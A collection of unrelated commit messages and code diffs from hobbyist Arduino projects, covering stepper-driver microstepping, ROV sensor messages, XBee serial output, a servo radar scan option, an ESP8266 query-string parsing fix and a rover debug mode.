+          digitalWrite(DRV8825_MODE0, HIGH);
+          digitalWrite(DRV8825_MODE1, LOW);
+          digitalWrite(DRV8825_MODE2, LOW);
+          mode_div = 2;
+          step_wait = 500;
+        } else if (mode == 2) {
+          digitalWrite(DRV8825_MODE0, LOW);
+          digitalWrite(DRV8825_MODE1, HIGH);
+          digitalWrite(DRV8825_MODE2, LOW);
+          mode_div = 4;
+          step_wait = 250;
+        } else if (mode == 3) {
+          digitalWrite(DRV8825_MODE0, HIGH);
+          digitalWrite(DRV8825_MODE1, HIGH);
+          digitalWrite(DRV8825_MODE2, LOW);
+          mode_div = 8;
+          step_wait = 125;
+        } else if (mode == 4) {
+          digitalWrite(DRV8825_MODE0, LOW);
+          digitalWrite(DRV8825_MODE1, LOW);
+          digitalWrite(DRV8825_MODE2, HIGH);
+          mode_div = 16;
+          step_wait = 62;
+        } else {
+          digitalWrite(DRV8825_MODE0, HIGH);
+          digitalWrite(DRV8825_MODE1, LOW);
+          digitalWrite(DRV8825_MODE2, HIGH);
+          mode_div = 32;
+          step_wait = 32;
+        }
+      }
+    }
+
+    if (digitalRead(DRV8825_ENABLE) == LOW) {
+      digitalWrite(DRV8825_STEP, !digitalRead(DRV8825_STEP));
+    }
+    step_count += 1;
+    step_t = tu;
+  }
+
+  //Blink every second
+  if (tm - blink_t > 1000) {
     digitalWrite(13, !digitalRead(13));
-    tic = toc;
+    blink_t = tm;
   }
 }


Started to send sensor labels in the messages as required by the comms protocol.

--- ROVMain/ROVMain.ino
+++ ROVMain/ROVMain.ino
@@ -236,8 +236,13 @@
 	outputDataBuffer[0] = OUTPUT_START_CHAR; // Start the message.
 	for(int i=0;i<sizeof(sensors)/sizeof(sensors[0]);i++)
 	{
+		outputDataBuffer += String( sensors[i]->getIdentifier() );
+		outputDataBuffer += DATA_DELIMITER;
 		outputDataBuffer += String( sensors[i]->getValue() );
-		outputDataBuffer += DATA_DELIMITER;
+		if(i<sizeof(sensors)/sizeof(sensors[0])-1) // Don't add a delimiter after the last sensor.
+		{
+			outputDataBuffer += DATA_DELIMITER;
+		}
 	}
 	outputDataBuffer += END_CHAR; // Terminate the message.


Switch to xbee serial.

Switch to xbee serial.

--- arduino/monitor/monitor.ino
+++ arduino/monitor/monitor.ino
@@ -58,7 +58,7 @@
   digitalWrite(DIO_XBEE_SLEEP, LOW);

   // send message
-  sendWeatherUpdate(Serial);
+  sendWeatherUpdate(xbeeSerial);
   // TODO: make sure we keep up with the clock

   // sleep radio


update namespace

update namespace

--- arduino/opencr_arduino/opencr/libraries/OpenManipulator/example/Arduino/Test/path/path.ino
+++ arduino/opencr_arduino/opencr/libraries/OpenManipulator/example/Arduino/Test/path/path.ino
@@ -11,12 +11,12 @@
 #define CONTROL_PERIOD 0.008f
 #define MOVE_TIME 3.0f

-JointTrajectory joint_trajectory(DXL_SIZE);
+OM_PATH::JointTrajectory joint_trajectory(DXL_SIZE);
 std::vector<Trajectory> start_trajectory;
 std::vector<Trajectory> goal_trajectory;
 Trajectory start, goal;

-OMDynamixel dxl(BAUD_RATE);
+OM_DYNAMIXEL::Dynamixel dxl(BAUD_RATE);
 std::vector<float> goal_position;
 std::vector<float> goal_velocity;
 std::vector<float> goal_acceleration;


add option to use a detailed scan and a default one

--- testing/arduino/servo-radar3.ino
+++ testing/arduino/servo-radar3.ino
@@ -21,6 +21,7 @@
 Servo ServoMotor;
 const uint8_t servoPin = 6;
 const uint8_t servoRotationAngel = 10;
+const uint8_t servoRotationAngelDetailed = 1;

 enum direction {
   left,
@@ -63,7 +64,7 @@
 }

-uint8_t GetNextServoAngle()
+uint8_t GetNextServoAngle(bool detailed)
 {
     if(servoPos <= 0)
     {
@@ -77,14 +78,19 @@
         servoPos = 180;
     }

+    uint8_t angle = servoRotationAngel;
+    if(detailed)
+    {
+        angle = servoRotationAngelDetailed
+    }

     if(servoMovement == right)
     {
-        servoPos += servoRotationAngel;
+        servoPos += angle;
     }
     else
     {
-        servoPos -= servoRotationAngel;
+        servoPos -= angle;
     }

     return servoPos;
@@ -99,7 +105,8 @@

     if(servoPos == actualServoPos)
     {
-        ServoMotor.write(GetNextServoAngle());
+        // Change to true for detailed scan
+        ServoMotor.write(GetNextServoAngle(false));
     }

     Serial.print(actualServoPos);


added arduino STK500

added arduino STK500


Calibrate and get data from accelerometer and compass


Fix query string parsing

Fix query string parsing

--- barf_esp8266.ino
+++ barf_esp8266.ino
@@ -166,7 +166,7 @@

 	// Add a trailing & for easier parsing
 	if (query_string[query_string.length() - 1] != '&') {
-		query_string = query_string += "&";
+		query_string += "&";
 	}

 	// Get GET variables
@@ -175,23 +175,23 @@
 	while(true) {
 		int next_var = chopped_query_string.indexOf("&");
 		if (next_var != -1) {
-			String var = chopped_query_string.substring(0, next_var);
+			String var_value = chopped_query_string.substring(0, next_var);
+			String var = var_value;
 			String value;
 			int equals_index = var.indexOf("=");
 			if (equals_index != -1) {
-				var = var.substring(0, equals_index);
-				value = var.substring(equals_index+1);
+				var = var_value.substring(0, equals_index);
+				value = var_value.substring(equals_index+1);
 			} else {
 				value = "";
 			}
 			get_vars.add({var, value});

-			chopped_query_string = chopped_path.substring(next_var+1);
+			chopped_query_string = chopped_query_string.substring(next_var+1);
 		} else {
 			break;
 		}
 	}
-
 	client.flush();

 	String response_data;


Testing functions

Testing functions

--- rover/rover.ino
+++ rover/rover.ino
@@ -6,6 +6,8 @@
 #define BUFFSIZE   128
 #define MAX_POWER  400
 #define MIN_POWER -400
+
+const static boolean DEBUG = true;

 // Accessory descriptor. It's how Arduino identifies itself in Android.
 char accessoryName[] = "UDOO Silkworm jeep";
@@ -32,9 +34,18 @@
   delay(2000);

   motor.init();
+  stopEngine();
 }

 void loop() {
+  if (DEBUG) {
+    readingFromSerial();
+  } else {
+    readingFromADK();
+  }
+}
+
+void readingFromADK() {
   Usb.Task();

   // Starting listening when ADK is available
@@ -130,3 +141,15 @@
   }
 }

+// Testing rover with Serial port
+void readingFromSerial() {
+  int incomingByte = 0;
+  if (Serial.available() > 0) {
+    incomingByte = Serial.read();
+
+    // say what you got:
+    Serial.print("I received: ");
+    Serial.println(incomingByte, DEC);
+  }
+}
+